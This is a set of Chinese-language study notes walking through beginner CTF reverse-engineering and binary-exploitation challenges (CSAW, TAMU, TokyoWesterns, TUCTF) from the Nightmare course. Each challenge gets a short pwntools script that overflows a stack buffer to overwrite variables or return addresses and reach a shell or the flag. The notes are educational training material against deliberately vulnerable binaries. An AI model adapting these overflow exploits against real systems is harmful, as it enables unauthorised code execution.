---
# System prepended metadata

title: 'Nightmare #1'
tags: [security]

---

# Nightmare #1
###### tags: `security`

## 01: Intro assembly
- Hello world: 是 32-bit 的 ELF
![](https://i.imgur.com/0TYRppK.png)
![](https://i.imgur.com/EdojPaP.png)
- objdump 可以看到 call puts() 這個 function, 用 gdb 確認, 可以知道這個檔案目的是為了 print "hello world!"
- If then: 也是 32-bit 的 ELF, [ebp-0xc] 這個地方塞 0xa, 下一個指令是去做 cmp, 如果相等, print 出 "x = ten" 字串
- 初始時把 [ebp-0xc] 放 0, 之後和 0x13 (19) 比對, 如果 <=, 則用 printf 格式化印出當前的值, 並加一; 重複此步驟直到 [ebp-0xc] > 19, 所以會印出 0 1 2 ... 19 


## 02: Intro tools
- gdb 中更改 print 的 string: set {char [12]} [address] = "string"
    ![](https://i.imgur.com/SnDhJF9.png)
- pwntools 
    - proc = pwn.remote("url", port)
    - proc = pwn.process("./檔名")
    - proc.read(x)
    - proc.send(x), proc.sendline(x)
    - proc.recvuntil("x")
    - pack the integer: p64(x), p32(x)

## 03: Helithumper RE
- 先 recon, 是一個 64-bit ELF 
    ![](https://i.imgur.com/aPGJijs.png)
- 用 radare2 掃, 查看 validate 這個 function (pdf @sym.validate)
    ![](https://i.imgur.com/OBx8Zba.png)
- 可以發現 flag 應該是 flag{HuCf_lAb}
    ![](https://i.imgur.com/2X8KKRx.png)

## 03: CSAW'19 Beleaf 
- 一樣先 recon, 是 64-bit ELF
    ![](https://i.imgur.com/0UgVkqd.png)
- 用 ghidra 打開, rename 完後, 可以看到程式要求我們輸入某個長度 33 (0x21) 的字串, 經某個函數 transform 完, 須和 DAT_003014e0 表的值相同, 才會是 correct 
    ![](https://i.imgur.com/36zm6B9.png)
- 可以看到每次都是去跟位址 &DAT_00301e40 + index * 8 裡存的值去比對, 所以把這些值記錄下來 (desired_ret)
    ![](https://i.imgur.com/o21Hivs.png)
- 接著去 dig into transform 這個 function, 我們目標是希望 return 的 i 是 01h, 09h, 11h, ... (DAT_00301e40 那張表); 所以反推回來每次的 input 依序是 &DAT_00301020 + 01h * 4, &DAT_00301020 + 09h * 4, &DAT_00301020 + 11h * 4 等位址所放的值
    ![](https://i.imgur.com/KGsKmV9.png)
- 接著查看 DAT_00301020 有什麼, 並記錄下來 (dict)
    ![](https://i.imgur.com/r0j7x3d.png)
- 可以寫 exploit, 得到 flag 是 flag{we_beleaf_in_your_re_future}
    ```python=
    desired_ret = [0x01, 0x09, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x08, 0x12, 0x09, 0x12, 0x11, 0x01, 0x03, 0x13, 0x04, 0x03, 0x05, 0x15, 0x2e, 0x0a, 0x03, 0x0a, 0x12, 0x03, 0x01, 0x2e, 0x16, 0x2e, 0x0a, 0x12, 0x06]
    addr = []
    for i in desired_ret:
        addr.append(hex(0x20 + i * 4))
    dict = {'0x20': 'w', '0x24': 'f', '0x28': '{', '0x2c': '_', '0x30': 'n', '0x34': 'y', '0x38': '}', '0x40': 'b', '0x44': 'l', '0x48': 'r', '0x64': 'a', '0x68': 'e', '0x6c': 'i', '0x74': 'o', '0x78': 't', '0xbc': 'g', '0xd8': 'u'}
    flag = ''.join(map(dict.get, addr))
    print(flag)
    ```
    ![](https://i.imgur.com/eDybGFP.png)

## 04: CSAW'18 Quals Boi 
- 先 recon, 可以發現是一個 64-bit 的 ELF, canary 和 NX 保護都打開
    ![](https://i.imgur.com/nlbWGqM.png)
- 用 ghidra 打開, 可以觀察到從 stdin 讀資料進來, 若iStack36 == -0x350c4512, 即可執行 shell
    ![](https://i.imgur.com/oywdLeE.png)
- 用 radare2 找出位址, 可以知道 iStack36 是從 [rbp-0x1c] 開始, 原本是 0xdeadbeaf, 我們目標是改成 0xcaf3baee, 可利用的 buffer 則是從 [rbp-0x30] 開始
    ![](https://i.imgur.com/TXhsAev.png)
- 所以可以寫 exploit 如下, 須注意 little-endian 
    ```python=
    import pwn 
    proc = pwn.process("./boi")
    payload = b"a" * 20 + b"\xee\xba\xf3\xca"
    proc.read()
    proc.send(payload)
    proc.interactive()
    ```
    ![](https://i.imgur.com/TuGJ0Sf.png)

## 04: TAMU'19 Pwn1
- 先 recon, 可以知道是 32-bit 的 ELF 
    ![](https://i.imgur.com/9D96qWA.png)
- 用 ghidra 打開觀察, 可以知道要 bypass 第一個和第二個問題, 需要輸入 "Sir Lancelot of Camelot" 和 "To seek the Holy Grail."
    ![](https://i.imgur.com/E2CSThM.png)
    ![](https://i.imgur.com/EOZ3JZB.png)
- 用 radare2 找出 gets() (dangerous function) 的 buffer 從 [ebp-0x3b] 開始, 要改的值則是放在 [ebp-0x10], 且須改成 0xdead110c8 
    ![](https://i.imgur.com/BNCgHN2.png)
- 所以可以寫 exploit 如下, 即可取得 flag
    ```python=
    import pwn 
    proc = pwn.process("./pwn1")
    stage1 = "Sir Lancelot of Camelot"
    stage2 = "To seek the Holy Grail."
    payload = b"a" * 0x2b + b"\xc8\x10\xa1\xde"
    proc.read()
    proc.sendline(stage1)
    proc.read()
    proc.sendline(stage2)
    proc.read()
    proc.sendline(payload)
    proc.read()
    ```
    ![](https://i.imgur.com/9B133Xq.png)

## 04: TokyoWesterns'17 JustDoIt 
- Recon, 是 32-bit 的 ELF, 保護機制如下, 可以看到 PIE 沒開
    ![](https://i.imgur.com/UFBWEqc.png)
- 用 ghidra 打開, rename 後, 可以觀察到 31 行和 37 行, 程式會把使用輸入和某個值做比較, 如果相同, 就可以 bypass check 
    ![](https://i.imgur.com/ggxBOhJ.png)
- 用 gdb 設中斷點 run, 可以觀察到 ds:0x804a03c 所放的是 "P@SSW0RD", 所以我們的 input 需要是 "P@SSW0RD", 但須注意送 payload 的時候會把換行也給送出去, 所以要加上 \0 截斷
    ![](https://i.imgur.com/ZaN1mLK.png)
    ![](https://i.imgur.com/HL8whCm.png)
- 雖然 bypass check, 但有個問題是我們仍然無法看到 flag, 往前找前面的 source code, 發現程式已經先幫我們打開 flag.txt 然後讀內容進來, 放在 flag 裡面, 所以我們可以直接用 flag 取代成 41 行 puts 的參數; 因為 puts 的參數放在 [ebp-0xc], 可控制的 input 放在 [ebp-0x20], 所以我們只要任意填 0x14 bytes 的值, 後面加上 flag 位址 (0x804a080) 即可
    ![](https://i.imgur.com/tm3Vipb.png)
    ![](https://i.imgur.com/W3G909c.png)
    ![](https://i.imgur.com/VHmNFSB.png)
- 寫成 exploit 
    ```python=
    import pwn 
    proc = pwn.process("./just_do_it")
    payload = b"a" * 0x14 + b"\x80\xa0\x04\x08"
    proc.read()
    proc.sendline(payload)
    proc.read()
    ```
    ![](https://i.imgur.com/JTM7SXF.png)

## 05: CSAW'16 Warmup
- 先 recon, 可以知道是 64-bit 的 ELF, PIE 沒開
    ![](https://i.imgur.com/ewuBzaS.png)
- 用 ghidra 打開, 觀察到有 gets() function 可以利用, easy() function 執行 "cat flag.txt", 所以我們可以利用 gets() 的 return address, redirect 到 easy(); 找出我們的 input 是在 [rbp-0x40], 所以總共要 cover (0x40 + 8) bytes, 8 bytes 是 for old rbp 大小, 最後加上 easy() 的位址是 0x40060d 
    ![](https://i.imgur.com/eD1QytL.png)
    ![](https://i.imgur.com/yFQcd7o.png)
    ![](https://i.imgur.com/rvzvzD5.png)
- 寫成 exploit 
    ```python=
    import pwn 
    proc = pwn.process("./warmup")
    proc.read()
    payload = b"a" * (0x40 + 8) + pwn.p64(0x40060d, endian='little')
    proc.sendline(payload)
    proc.read()
    ```
    ![](https://i.imgur.com/g0l3U9g.png)

## 05: CSAW'18 Quals Getit 
- 先 recon, 是 64-bit 的 ELF, PIE 沒開
    ![](https://i.imgur.com/EeQEjMv.png)
- 有可利用的 gets() 和 give_shell() function, 輸入的時候 overwrite gets() 的 return address, redirect 到 give_shell(); 需要 cover (0x20 + 8), give_shell() 位在 0x4005b6 
    ![](https://i.imgur.com/Ux7CuU8.png)
    ![](https://i.imgur.com/TzLDWcd.png)
- 寫成 exploit, 即可取得 shell 
    ```python=
    import pwn 
    proc = pwn.process("./get_it")
    proc.read()
    payload = b"a" * (0x20 + 8) + pwn.p64(0x4005b6, endian='little')
    proc.sendline(payload)
    proc.interactive()
    ```
    ![](https://i.imgur.com/KQ69qk1.png)

## 05: TUCFT'17 Vulnchat 
- 先 recon, 是 32-bit 的 ELF, PIE 沒開
    ![](https://i.imgur.com/yKItt9F.png)
- 用 ghidra 打開, 可以知道程式讓使用者輸入兩次, 我們可以利用這兩個 scanf 造成 overflow, redirect 到 printFlag(), 即 0x804856b 來取得 flag 
    ![](https://i.imgur.com/mH4HcMQ.png)
    ![](https://i.imgur.com/NUv53Db.png)
    ![](https://i.imgur.com/HsZGLvW.png)
- 用 gdb 查看, 原本這兩個 scanf 吃的格式都是 "%30s", 這樣的限制, 使的我們無法製造 overflow
    ![](https://i.imgur.com/vIm4ojU.png)
- 要解決大小限制的問題, 觀察到 "%30s" 是存在 [ebp-0x5], 而第一個 scanf (輸入名稱) 的 input 是存在 [ebp-0x19], 第二個 scanf (輸入密碼) 的 input 則是 [ebp-0x2d]; 因此我們可以在第一個 scanf, 就去覆蓋到 [ebp-0x5], 修改成我們想要的格式 (eg. "%99s"), 在第二個 scanf, 再來做 redirection, 寫成 exploit 如下
    ```python=
    import pwn 
    proc = pwn.process("./vuln-chat")
    proc.read()
    fmt = "a" * 0x14 + "%99s"
    proc.sendline(fmt)
    proc.read()
    payload = b"a" * (0x2d + 4) + pwn.p32(0x0804856b, endian='little')
    proc.sendline(payload)
    proc.read()
    ```
    ![](https://i.imgur.com/N5MHRfO.png)






    

    









